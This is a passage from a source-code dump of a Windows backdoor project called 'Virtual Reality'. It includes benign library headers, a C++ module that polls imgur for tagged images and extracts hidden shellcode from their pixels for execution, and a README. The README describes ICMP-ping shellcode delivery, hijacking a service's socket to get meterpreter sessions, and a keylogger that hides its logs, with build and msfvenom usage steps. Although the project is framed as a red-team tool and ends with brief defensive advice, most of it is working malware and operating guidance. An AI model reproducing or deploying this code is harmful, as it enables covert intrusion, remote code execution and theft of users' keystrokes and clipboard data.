| throw std::out_of_range("empty array"); 36 | return data[0]; 37 | } 38 | 39 | const T &front() const 40 | { 41 | if (this->empty()) 42 | throw std::out_of_range("empty array"); 43 | return data[0]; 44 | } 45 | 46 | // access last element 47 | T &back() 48 | { 49 | if (this->empty()) 50 | throw std::out_of_range("empty array"); 51 | return data[N - 1]; 52 | } 53 | 54 | const T &back() const 55 | { 56 | if (this->empty()) 57 | throw std::out_of_range("empty array"); 58 | return data[N - 1]; 59 | } 60 | 61 | /*** 2. Iterator ***/ 62 | 63 | class Iterator : public std::iterator> 64 | { 65 | public: 66 | bool operator ==(const Iterator &I) { return (this->curr == I.curr); } 67 | bool operator !=(const Iterator &I) { return (this->curr != I.curr); } 68 | 69 | T &operator *() { return *curr; } 70 | 71 | Iterator operator ++() { return Iterator(++curr); } 72 | Iterator operator ++(int dummy) { return Iterator(curr++); } 73 | 74 | Iterator(T *_curr = nullptr) : curr(_curr) {} 75 | 76 | private: 77 | T *curr; 78 | 79 | friend class array; 80 | }; 81 | 82 | class ConstIterator : public std::iterator> 83 | { 84 | public: 85 | bool operator ==(const ConstIterator &I) { return (this->curr == I.curr); } 86 | bool operator !=(const ConstIterator &I) { return (this->curr != I.curr); } 87 | 88 | const T &operator *() { return *curr; } 89 | 90 | ConstIterator operator ++() { return ConstIterator(++curr); } 91 | ConstIterator operator ++(int dummy) { return ConstIterator(curr++); } 92 | 93 | ConstIterator(const T *_curr = nullptr) : curr(_curr) {} 94 | 95 | private: 96 | const T *curr; 97 | 98 | friend class array; 99 | }; 100 | 101 | class ReverseIterator : public std::iterator> 102 | { 103 | public: 104 | bool operator ==(const ReverseIterator &I) { return (this->curr == I.curr); } 105 | bool operator !=(const ReverseIterator &I) { return (this->curr != I.curr); } 106 | 107 | T &operator *() { return *curr; } 108 | 109 | ReverseIterator operator ++() { return ReverseIterator(--curr); } 110 | ReverseIterator operator ++(int dummy) { return ReverseIterator(curr--); } 111 | 112 | ReverseIterator(T *_curr = nullptr) : curr(_curr) {} 113 | 114 | private: 115 | T *curr; 116 | 117 | friend class array; 118 | }; 119 | 120 | // iterator to the beginning 121 | Iterator begin() { return Iterator(this->empty() ? nullptr : &this->front()); } 122 | 123 | // iterator to the end 124 | Iterator end() { return Iterator(this->empty() ? nullptr : &(this->back()) + 1); } 125 | 126 | // const iterator to the beginning 127 | ConstIterator cbegin() const { return ConstIterator(this->empty() ? nullptr : &this->front()); } 128 | 129 | // const iterator to the end 130 | ConstIterator cend() const { return ConstIterator(this->empty() ? nullptr : &(this->back()) + 1); } 131 | 132 | // reverse iterator to the beginning 133 | ReverseIterator rbegin() { return ReverseIterator(this->empty() ? nullptr : &this->back()); } 134 | 135 | // reverse iterator to the end 136 | ReverseIterator rend() { return ReverseIterator(this->empty() ? nullptr : &(this->front()) - 1); } 137 | 138 | /*** 3. Capacity ***/ 139 | 140 | // checks whether the array is empty 141 | constexpr bool empty() const { return (N == 0); } 142 | 143 | // returns the number of elements 144 | constexpr size_t size() const { return N; } 145 | 146 | /*** 4. Operations ***/ 147 | 148 | // fill the array with given value 149 | void fill(const T &val) { 150 | for (size_t i = 0; i < N; ++i) 151 | this->data[i] = val; 152 | } 153 | 154 | // swap content with another array 155 | void swap(array &other) { 156 | for (size_t i = 0; i < N; ++i) 157 | swap(this->data[i], other.data[i]); 158 | } 159 | 160 | private: 161 | T data[N]; 162 | 163 | friend class Iterator; 164 | friend class ReverseIterator; 165 | }; 166 | 167 | } 168 | 169 | namespace std 170 | { 171 | template< size_t I, class T, size_t N > 172 | constexpr T& get(tinystl::array& a) noexcept 173 | { 174 | return a.at(I); 175 | } 176 | } 177 | 178 | #endif 179 | -------------------------------------------------------------------------------- /dep/tiny-json/tiny-json.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | 4 | 5 | 6 | Licensed under the MIT License . 7 | SPDX-License-Identifier: MIT 8 | Copyright (c) 2016-2018 Rafa Garcia . 9 | 10 | Permission is hereby granted, free of charge, to any person obtaining a copy 11 | of this software and associated documentation files (the "Software"), to deal 12 | in the Software without restriction, including without limitation the rights 13 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 14 | copies of the Software, and to permit persons to whom the Software is 15 | furnished to do so, subject to the following conditions: 16 | 17 | The above copyright notice and this permission notice shall be included in all 18 | copies or substantial portions of the Software. 19 | 20 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 21 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 22 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 23 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 24 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 25 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 26 | SOFTWARE. 27 | 28 | */ 29 | 30 | #ifndef _TINY_JSON_H_ 31 | #define _TINY_JSON_H_ 32 | 33 | #ifdef __cplusplus 34 | extern "C" { 35 | #endif 36 | 37 | #include 38 | #include 39 | #include 40 | #include 41 | 42 | #define json_containerOf( ptr, type, member ) \ 43 | ((type*)( (char*)ptr - offsetof( type, member ) )) 44 | 45 | /** @defgroup tinyJson Tiny JSON parser. 46 | * @{ */ 47 | 48 | /** Enumeration of codes of supported JSON properties types. */ 49 | typedef enum { 50 | JSON_OBJ, JSON_ARRAY, JSON_TEXT, JSON_BOOLEAN, 51 | JSON_INTEGER, JSON_REAL, JSON_NULL 52 | } jsonType_t; 53 | 54 | /** Structure to handle JSON properties. */ 55 | typedef struct json_s { 56 | struct json_s* sibling; 57 | char const* name; 58 | union { 59 | char const* value; 60 | struct { 61 | struct json_s* child; 62 | struct json_s* last_child; 63 | } c; 64 | } u; 65 | jsonType_t type; 66 | } json_t; 67 | 68 | /** Parse a string to get a json. 69 | * @param str String pointer with a JSON object. It will be modified. 70 | * @param mem Array of json properties to allocate. 71 | * @param qty Number of elements of mem. 72 | * @retval Null pointer if any was wrong in the parse process. 73 | * @retval If the parser process was successfully a valid handler of a json. 74 | * This property is always unnamed and its type is JSON_OBJ. */ 75 | json_t const* json_create( char* str, json_t mem[], unsigned int qty ); 76 | 77 | /** Get the name of a json property. 78 | * @param json A valid handler of a json property. 79 | * @retval Pointer to null-terminated if property has name. 80 | * @retval Null pointer if the property is unnamed. */ 81 | static inline char const* json_getName( json_t const* json ) { 82 | return json->name; 83 | } 84 | 85 | /** Get the value of a json property. 86 | * The type of property cannot be JSON_OBJ or JSON_ARRAY. 87 | * @param json A valid handler of a json property. 88 | * @return Pointer to null-terminated string with the value. */ 89 | static inline char const* json_getValue( json_t const* property ) { 90 | return property->u.value; 91 | } 92 | 93 | /** Get the type of a json property. 94 | * @param json A valid handler of a json property. 95 | * @return The code of type.*/ 96 | static inline jsonType_t json_getType( json_t const* json ) { 97 | return json->type; 98 | } 99 | 100 | /** Get the next sibling of a JSON property that is within a JSON object or array. 101 | * @param json A valid handler of a json property. 102 | * @retval The handler of the next sibling if found. 103 | * @retval Null pointer if the json property is the last one. */ 104 | static inline json_t const* json_getSibling( json_t const* json ) { 105 | return json->sibling; 106 | } 107 | 108 | /** Search a property by its name in a JSON object. 109 | * @param obj A valid handler of a json object. Its type must be JSON_OBJ. 110 | * @param property The name of property to get. 111 | * @retval The handler of the json property if found. 112 | * @retval Null pointer if not found. */ 113 | json_t const* json_getProperty( json_t const* obj, char const* property ); 114 | 115 | 116 | /** Search a property by its name in a JSON object and return its value. 117 | * @param obj A valid handler of a json object. Its type must be JSON_OBJ. 118 | * @param property The name of property to get. 119 | * @retval If found a pointer to null-terminated string with the value. 120 | * @retval Null pointer if not found or it is an array or an object. */ 121 | char const* json_getPropertyValue( json_t const* obj, char const* property ); 122 | 123 | /** Get the first property of a JSON object or array. 124 | * @param json A valid handler of a json property. 125 | * Its type must be JSON_OBJ or JSON_ARRAY. 126 | * @retval The handler of the first property if there is. 127 | * @retval Null pointer if the json object has not properties. */ 128 | static inline json_t const* json_getChild( json_t const* json ) { 129 | return json->u.c.child; 130 | } 131 | 132 | /** Get the value of a json boolean property. 133 | * @param property A valid handler of a json object. Its type must be JSON_BOOLEAN. 134 | * @return The value stdbool. */ 135 | static inline bool json_getBoolean( json_t const* property ) { 136 | return *property->u.value == 't'; 137 | } 138 | 139 | /** Get the value of a json integer property. 140 | * @param property A valid handler of a json object. Its type must be JSON_INTEGER. 141 | * @return The value stdint. */ 142 | static inline int64_t json_getInteger( json_t const* property ) { 143 | return atoll( property->u.value ); 144 | } 145 | 146 | /** Get the value of a json real property. 147 | * @param property A valid handler of a json object. Its type must be JSON_REAL. 148 | * @return The value. */ 149 | static inline double json_getReal( json_t const* property ) { 150 | return atof( property->u.value ); 151 | } 152 | 153 | 154 | 155 | /** Structure to handle a heap of JSON properties. */ 156 | typedef struct jsonPool_s jsonPool_t; 157 | struct jsonPool_s { 158 | json_t* (*init)( jsonPool_t* pool ); 159 | json_t* (*alloc)( jsonPool_t* pool ); 160 | }; 161 | 162 | /** Parse a string to get a json. 163 | * @param str String pointer with a JSON object. It will be modified. 164 | * @param pool Custom json pool pointer. 165 | * @retval Null pointer if any was wrong in the parse process. 166 | * @retval If the parser process was successfully a valid handler of a json. 167 | * This property is always unnamed and its type is JSON_OBJ. */ 168 | json_t const* json_createWithPool( char* str, jsonPool_t* pool ); 169 | 170 | /** @ } */ 171 | 172 | #ifdef __cplusplus 173 | } 174 | #endif 175 | 176 | #endif /* _TINY_JSON_H_ */ 177 | -------------------------------------------------------------------------------- /src/vr/imgur.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #include 25 | #include 26 | #include 27 | #include "vr-config.h" 28 | #include "../shared/context.h" 29 | #include "../shared/payload.h" 30 | #include "../shared/winhttp.h" 31 | #include "../shared/coroutine.h" 32 | #include "../shared/debug.h" 33 | #include "../shared/math.h" 34 | 35 | bool png_has_enough_pixels(size_t pixel_bytes_count, unsigned need_bytes) 36 | { 37 | return need_bytes * 4 < pixel_bytes_count; 38 | } 39 | 40 | uint8_t decode_bits(stl::vector::const_iterator& it) 41 | { 42 | return *it++ & 3; 43 | } 44 | 45 | uint8_t decode_byte(stl::vector::const_iterator& it) 46 | { 47 | return decode_bits(it) | decode_bits(it) << 2 | decode_bits(it) << 4 | decode_bits(it) << 6; 48 | } 49 | 50 | uint16_t decode_short(stl::vector::const_iterator& it) 51 | { 52 | return decode_byte(it) | decode_byte(it) << 8; 53 | } 54 | 55 | bool imgur_process_png(context& ctx, const uint8_t* data, unsigned len) 56 | { 57 | stl::vector pixels; 58 | unsigned long w, h; 59 | if (decodePNG(pixels, w, h, data, len, false) == 0) 60 | { 61 | if (png_has_enough_pixels(pixels.size(), 2)) 62 | { 63 | stl::vector::const_iterator it = pixels.begin(); 64 | uint16_t payload_len = ntohs(decode_short(it)); 65 | if (png_has_enough_pixels(pixels.size(), 2 + payload_len)) 66 | { 67 | stl::vector payload(payload_len, 0); 68 | for (auto j = 0; j < payload_len; j++) 69 | payload[j] = decode_byte(it); 70 | 71 | return handle_payload(ctx, payload.data(), payload_len); 72 | } 73 | } 74 | } 75 | return false; 76 | } 77 | 78 | void imgur_thread(context& ctx) 79 | { 80 | stl::string client_id, imgur_tag; 81 | int imgur_tag_query_time = 15; 82 | int imgur_tag_query_time_jitter = 3; 83 | 84 | if (const json_t* prop = json_getProperty(ctx.root, xorstr_("imgur_client_id"))) 85 | client_id = json_getValue(prop); 86 | 87 | if (const json_t* prop = json_getProperty(ctx.root, xorstr_("imgur_tag"))) 88 | imgur_tag = json_getValue(prop); 89 | 90 | if (const json_t* prop = json_getProperty(ctx.root, xorstr_("imgur_tag_query_mins"))) 91 | imgur_tag_query_time = json_getInteger(prop); 92 | 93 | if (const json_t* prop = json_getProperty(ctx.root, xorstr_("imgur_tag_query_mins_jitter"))) 94 | imgur_tag_query_time_jitter = json_getInteger(prop); 95 | 96 | if (client_id.size() == 0 || imgur_tag.size() == 0) 97 | { 98 | LOG_DEBUG("imgur is not configured."); 99 | return; 100 | } 101 | 102 | time_t http_last_timestamp = time(nullptr); 103 | stl::vector pool(10000); 104 | 105 | while (coroutine_loop::current_loop->is_active()) 106 | { 107 | HttpRequest req{}; 108 | HttpResponse response = send_http_request(req, stl::string() + "https://api.imgur.com/3/gallery/t/" + imgur_tag + "/time/week/0?client_id=" + client_id); 109 | if (response.status == HttpOk) 110 | { 111 | stl::vector response_data(response.content.c_str(), response.content.c_str() + response.content.size() + 1); 112 | 113 | const json_t* j_root = json_create(response_data.data(), pool.data(), (unsigned)pool.size()); 114 | if (j_root == nullptr) 115 | { 116 | LOG_ERROR("imgur api root is null. Malformed response or pool too small"); 117 | break; 118 | } 119 | 120 | const json_t* j_success = json_getProperty(j_root, "success"); 121 | if (j_success == nullptr || j_success->type != JSON_BOOLEAN || !json_getBoolean(j_success)) 122 | { 123 | LOG_ERROR("imgur api request failed"); 124 | break; 125 | } 126 | 127 | const json_t* j_data = json_getProperty(j_root, "data"); 128 | if (!j_data || j_data->type != JSON_OBJ) 129 | { 130 | LOG_ERROR("imgur api request did not return 'data'"); 131 | break; 132 | } 133 | 134 | const json_t* j_items = json_getProperty(j_data, "items"); 135 | if (!j_items || j_items->type != JSON_ARRAY) 136 | { 137 | LOG_ERROR("imgur api request did not return 'items'"); 138 | break; 139 | } 140 | 141 | for (const json_t* j_img = json_getChild(j_items); j_img != nullptr; j_img = json_getSibling(j_img)) 142 | { 143 | const json_t* j_datetime = json_getProperty(j_img, "datetime"); 144 | const json_t* j_cover = json_getProperty(j_img, "cover"); 145 | if (j_datetime && j_datetime->type == JSON_INTEGER && j_cover && j_cover->type == JSON_TEXT) 146 | { 147 | auto timestamp = json_getInteger(j_datetime); 148 | if (timestamp <= http_last_timestamp) 149 | break; 150 | 151 | auto url = "https://i.imgur.com/" + stl::string(json_getValue(j_cover)) + ".png"; 152 | LOG_DEBUG("Querying %s", url.c_str()); 153 | response = send_http_request(req, url); 154 | if (response.status == HttpOk) 155 | { 156 | if (imgur_process_png(ctx, (unsigned char*) response.content.c_str(), 157 | static_cast(response.content.size()))) 158 | http_last_timestamp = timestamp; 159 | else 160 | LOG_ERROR("Invalid png at %s", url.c_str()); 161 | } 162 | } 163 | else 164 | LOG_ERROR("imgur api request item does not have 'datetime' or 'cover'"); 165 | } 166 | } 167 | 168 | yield((imgur_tag_query_time * 60 * 1000) + random(0, imgur_tag_query_time_jitter * 1000 * 60)); 169 | } 170 | } 171 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Virtual Reality 2 | =============== 3 | 4 | This is a backdoor project for windows operating systems. 5 | 6 | ## Intended audience 7 | 8 | This is a proof-of-concept stealthy backdoor aimed to aid red teams in maintaining 9 | control of their targets during the security evaluation process. The project also intends 10 | to expose ways to abuse standard features. 11 | 12 | ## Features 13 | 14 | Extremely stealthy backdoor for Windows platform. 15 | 16 | * ICMP-PING backdoor. Passively listens for incoming pings and executes shellcode 17 | delivered in ping payload. 18 | * HTTP backdoor using steganographically encoded images hosted on imgur.com 19 | * Grand-theft-socket - a payload for executing shellcode through the socket of existing 20 | service, 21 | * Runs on anything from XP to W10 22 | 23 | ## Details 24 | 25 | * Small size by using tinystl and avoiding standard c++ stl 26 | * Cooperative multitasking achieved by using Windows fibers 27 | * Permissively licensed, including all dependencies 28 | 29 | ## Build instructions 30 | 31 | 1. (Optional) Download appropriate [VC-LTL](https://github.com/Chuyu-Team/VC-LTL/releases) 32 | and extract to `VC-LTL` folder. 33 | 2. `git clone https://github.com/rokups/virtual-reality`. Now you have two folders next to 34 | each other: `VC-LTL` and `virtual-reality. 35 | 3. `mkdir cmake-build; cd cmake-build`. 36 | 4. `cmake -DCMAKE_BUILD_TYPE=MinSizeRel ../virtual-reality`. 37 | 5. `cmake --build . --config MinSizeRel`. Note that VC-LTL does not support debug builds. 38 | Do not build `Debug` configuration or ensure that `_DEBUG` preprocessor symbol is undefined. 39 | 6. Payloads are found in `cmake-build/bin` directory. 40 | 41 | VC-LTL is used for linking to `msvcrt.dll` and greatly reducing executable sizes. 42 | 43 | MinGW builds are deprecated. They may work or may be broken. Reason for this is that 44 | executables built with MinGW crash when used in some injection techniques. I did not 45 | care enough to figure it out. 46 | 47 | ## Instructions 48 | 49 | Modify `config.h` to suit your needs. 50 | 51 | Use `vr.py` to interact with the backdoor. 52 | 53 | ### Shellcode payload 54 | 55 | `vr.py shellcode path/to/shellcode.bin` reads shellcode into the script's memory. 56 | On its own this is useless therefore combine it with other commands. You may 57 | use `-` instead of path in order to read shellcode from `stdin`. 58 | 59 | ### Ping transport 60 | 61 | `msfvenom <...> | vr.py shellcode - -- ping 192.168.0.1` reads a shellcode from 62 | `stdin` and sends it via icmp-ping to `192.168.0.1`. Backdoor running on that 63 | machine will execute this shellcode. 64 | 65 | The shellcode will be delivered to the target by sending it as ICMP-PING packet payload. 66 | 67 | ![ping-demo](https://user-images.githubusercontent.com/19151258/52339219-2c742600-2a15-11e9-95b0-212485421e35.png) 68 | 69 | Content of the packet appears to be random. The only give-away that something is up 70 | is a rather big packet size, although it is possible to customized packet size 71 | using ping utility or specify custom payload (Linux). 72 | 73 | ### imgur.com transport 74 | 75 | `msfvenom <...> | vr.py shellcode - -- png path/to/image.png` reads a shellcode 76 | from `stdin` and encodes into specified `image.png`. This image must exist and 77 | it must be in RGB format (no alpha). Resulting image should be uploaded to 78 | https://imgur.com/ and tagged with one or more tags while one of the tags must be 79 | one that is specified in `config.h`. 80 | 81 | The shellcode will be encoded into a specified image by altering the last two bits of 82 | each color component in the target image. 1 byte needs 4 color components 83 | to be encoded and thus requires 1.(3) pixels. Encoded images are indistinguishable 84 | from original to the naked eye. Backdoor queries imgur API for listing images 85 | tagged with a configured tag. Every new image is downloaded and inspected for 86 | encoded payload. 87 | 88 | ![steg-demo](https://user-images.githubusercontent.com/19151258/52338654-adcab900-2a13-11e9-9887-3a55cde9dc36.png) 89 | 90 | Left - original image. Right - image with the encoded payload. Bottom - difference mask. 91 | 120x75 image was used. As you can see only a tiny portion of the pretty small image is used 92 | to encode 449 bytes payload. 93 | 94 | ### Grand-theft-socket 95 | 96 | This is a technique meant to backdoor a machine that: 97 | 1. Has a public service listening (TCP). 98 | 2. No outgoing traffic is allowed. 99 | 100 | `gts.dll` payload is meant to be injected to process of service that listens on public 101 | interface. This payload hooks `WSAAccept()` function and allows creating meterpreter 102 | session through the listening socket of already existing service while still allowing 103 | normal traffic to flow as if nothing has happened. 104 | 105 | When new connection is being made payload does the following: 106 | 1. Looks for a `tcp_knock` command and if found - whitelist command sender and terminate the connection. 107 | 2. When connection comes from a whitelisted IP address: 108 | 1. Spawn a new process. 109 | 2. `WSADuplicateSocket()` newly connected socket into the newly created process. 110 | 3. The new process will read shellcode size, shellcode itself and execute received shellcode. 111 | 4. Simulate disconnection by returning `INVALID_SOCKET` with `WSAECONNRESET` error to the host process. 112 | 5. Clear whitelisted address. A new knock will be required for executing the next payload. 113 | 3. When connection is made from non-whitelisted address and no `tcp_knock` is received - 114 | hand connection back to the host. 115 | 116 | Usage: 117 | 1. On target host - inject `gts.dll` into process that accepts connections. 118 | 2. On source host - execute `vr.py tcp_knock target_ip_address service_port` 119 | 3. On source host - execute `meterpreter/bind_tcp` payload with `RHOST=target_ip_address` 120 | and `LPORT=service_port` within 30 seconds since sending `tcp_knock`. 121 | 4. Observe that you just received meterpreter session. 122 | 123 | ### Keylogger 124 | 125 | Keylogger module works by injecting a dll to a process that runs in user's session. 126 | It is injected into explorer.exe by default. Only one injection per user session will 127 | be active. Keylogger monitors user's keystrokes and clipboard and writes contents into 128 | file `C:\Windows\Temp\????????-????-????-????-????????????.N` where `?` is `[A-F0-9]` 129 | and `N` is a number (starting from 0). This file is a zip archive with first two bytes 130 | zeroed out. In order to access logs user should download a file and restore first two 131 | bytes which are `PK`. Removing file will cause keylogger to create a new archive next 132 | time any logs are available. Keylogger thread exits and frees it's memory if main 133 | backdoor terminates. 134 | 135 | ## Security 136 | 137 | Payload is always obfuscated using the RC4 algorithm. As you probably have guessed 138 | replay attacks are a thing against this backdoor. Also, backdoor may be controlled 139 | by a rival blue team if they have reverse-engineered sample and recovered RC4 140 | key. Utmost security is not the point of this project. If the blue team is on to the 141 | backdoor - nothing will save it anyway. 142 | 143 | ## Recommendations 144 | 145 | * If possible - filter out ICMP-PING packets within the firewall 146 | * Take a proactive approach in monitoring your networks. Log everything and 147 | look for abnormalities. Chances are your servers have no business querying 148 | imgur.com or similar social media domains. 149 | * Periodically scan your critical services for inline hooks. 150 | 151 | ## etc 152 | 153 | Q: Why this name? This has nothing to do with virtual reality. 154 | 155 | A: Nothing at all. And no reason really. Naming is hard. 156 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/hash.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright 2012-2015 Matthew Endsley 3 | * All rights reserved 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted providing that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 16 | * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY 18 | * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 22 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING 23 | * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 24 | * POSSIBILITY OF SUCH DAMAGE. 25 | */ 26 | 27 | #ifndef TINYSTL_STRINGHASH_H 28 | #define TINYSTL_STRINGHASH_H 29 | 30 | #include "stddef.h" 31 | #include 32 | #include 33 | #ifdef _WIN32 34 | #include 35 | #endif 36 | // #include "../Nothings/stb_hash.h" 37 | 38 | #ifdef __APPLE__ 39 | #define __forceinline inline 40 | #endif 41 | 42 | namespace tinystl 43 | { 44 | static inline unsigned int hash_string(const char* str, size_t len) { 45 | // #ifdef _MSC_VER 46 | // return crc32c_hw(str, (int)len, 0); 47 | // #else 48 | 49 | // Implementation of sdbm a public domain string hash from Ozan Yigit 50 | // see: http://www.eecs.harvard.edu/margo/papers/usenix91/paper.ps 51 | 52 | unsigned int hash = 0; 53 | typedef const char* pointer; 54 | for (pointer it = str, end = str + len; it != end; ++it) 55 | hash = *it + (hash << 6) + (hash << 16) - hash; 56 | 57 | return hash; 58 | // #endif 59 | } 60 | 61 | static inline unsigned int hash(const char* str) { 62 | const char* strEnd = str; 63 | while (*strEnd != '\0') { ++strEnd; } 64 | return hash_string(str, strEnd - str); 65 | } 66 | 67 | template 68 | inline unsigned int hash(const T& value) { 69 | return hash_string((const char*)&value, sizeof(value)); 70 | } 71 | 72 | #if defined(__linux__) 73 | #define __forceinline __attribute__((always_inline)) 74 | #endif 75 | 76 | template static __forceinline T align_up_with_mask(T value, uint64_t mask) 77 | { 78 | return (T)(((uint64_t)value + mask) & ~mask); 79 | } 80 | 81 | template static __forceinline T align_down_with_mask(T value, uint64_t mask) 82 | { 83 | return (T)((uint64_t)value & ~mask); 84 | } 85 | 86 | template static __forceinline T align_up(T value, uint64_t alignment) 87 | { 88 | return align_up_with_mask(value, alignment - 1); 89 | } 90 | 91 | template static __forceinline T align_down(T value, uint64_t alignment) 92 | { 93 | return align_down_with_mask(value, alignment - 1); 94 | } 95 | 96 | #ifdef _M_X64 97 | #define ENABLE_SSE_CRC32 1 98 | #else 99 | #define ENABLE_SSE_CRC32 0 100 | #endif 101 | 102 | #if ENABLE_SSE_CRC32 103 | #pragma intrinsic(_mm_crc32_u32) 104 | #pragma intrinsic(_mm_crc32_u64) 105 | #endif 106 | 107 | static inline uint64_t hash_range(const uint32_t* const Begin, const uint32_t* const End, uint64_t Hash) 108 | { 109 | #if ENABLE_SSE_CRC32 110 | const uint64_t* Iter64 = (const uint64_t*)align_up(Begin, 8); 111 | const uint64_t* const End64 = (const uint64_t* const)align_down(End, 8); 112 | 113 | // If not 64-bit aligned, start with a single u32 114 | if ((uint32_t*)Iter64 > Begin) 115 | Hash = _mm_crc32_u32((uint32_t)Hash, *Begin); 116 | 117 | // Iterate over consecutive u64 values 118 | while (Iter64 < End64) 119 | Hash = _mm_crc32_u64((uint64_t)Hash, *Iter64++); 120 | 121 | // If there is a 32-bit remainder, accumulate that 122 | if ((uint32_t*)Iter64 < End) 123 | Hash = _mm_crc32_u32((uint32_t)Hash, *(uint32_t*)Iter64); 124 | #else 125 | // An inexpensive hash for CPUs lacking SSE4.2 126 | for (const uint32_t* Iter = Begin; Iter < End; ++Iter) 127 | Hash = 16777619U * Hash ^ *Iter; 128 | #endif 129 | 130 | return Hash; 131 | } 132 | 133 | template static inline uint64_t hash_state(const T* StateDesc, uint64_t Count = 1, uint64_t Hash = 2166136261U) 134 | { 135 | static_assert((sizeof(T) & 3) == 0 && alignof(T) >= 4, "State object is not word-aligned"); 136 | return hash_range((uint32_t*)StateDesc, (uint32_t*)(StateDesc + Count), Hash); 137 | } 138 | 139 | } 140 | 141 | #include //malloc 142 | #include //memset 143 | 144 | struct HashEntry 145 | { 146 | unsigned int *value; 147 | HashEntry *next; 148 | unsigned int index; 149 | }; 150 | 151 | class Hash 152 | { 153 | public: 154 | Hash(const unsigned int dim, const unsigned int entryCount, const unsigned int capasity) 155 | { 156 | curr = mem = (unsigned char*)malloc(entryCount * sizeof(HashEntry *) + capasity * (sizeof(HashEntry) + sizeof(unsigned int) * dim)); 157 | 158 | nDim = dim; 159 | count = 0; 160 | nEntries = entryCount; 161 | entries = (HashEntry **)newMem(entryCount * sizeof(HashEntry *)); 162 | 163 | memset(entries, 0, entryCount * sizeof(HashEntry *)); 164 | } 165 | 166 | ~Hash() { 167 | free(mem); 168 | } 169 | 170 | bool insert(const unsigned int *value, unsigned int *index) { 171 | unsigned int hash = 0;//0xB3F05C27; 172 | unsigned int i = 0; 173 | do { 174 | hash += value[i]; 175 | hash += (hash << 11); 176 | //hash ^= (hash >> 6); 177 | i++; 178 | } while (i < nDim); 179 | 180 | hash %= nEntries; 181 | 182 | HashEntry *entry = entries[hash]; 183 | 184 | while (entry) { 185 | if (memcmp(value, entry->value, nDim * sizeof(unsigned int)) == 0) { 186 | *index = entry->index; 187 | return true; 188 | } 189 | 190 | entry = entry->next; 191 | } 192 | 193 | HashEntry *newEntry = (HashEntry *)newMem(sizeof(HashEntry)); 194 | newEntry->value = (unsigned int *)newMem(sizeof(unsigned int) * nDim); 195 | 196 | memcpy(newEntry->value, value, nDim * sizeof(unsigned int)); 197 | newEntry->index = count++; 198 | 199 | newEntry->next = entries[hash]; 200 | entries[hash] = newEntry; 201 | 202 | *index = newEntry->index; 203 | return false; 204 | } 205 | 206 | static size_t hash(const char* val) 207 | { 208 | return tinystl::hash(val); 209 | } 210 | 211 | static size_t hash(const char* str, unsigned int len) 212 | { 213 | return tinystl::hash_string(str, len); 214 | } 215 | 216 | unsigned int getCount() const { return count; } 217 | 218 | protected: 219 | unsigned int nDim; 220 | unsigned int count; 221 | unsigned int nEntries; 222 | 223 | HashEntry **entries; 224 | 225 | void *newMem(const unsigned int size) { 226 | unsigned char *rmem = curr; 227 | curr += size; 228 | return rmem; 229 | } 230 | 231 | unsigned char *mem, *curr; 232 | }; 233 | 234 | #endif 235 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/hash_base.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright 2012-2015 Matthew Endsley 3 | * All rights reserved 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted providing that the following conditions 7 | * are met: 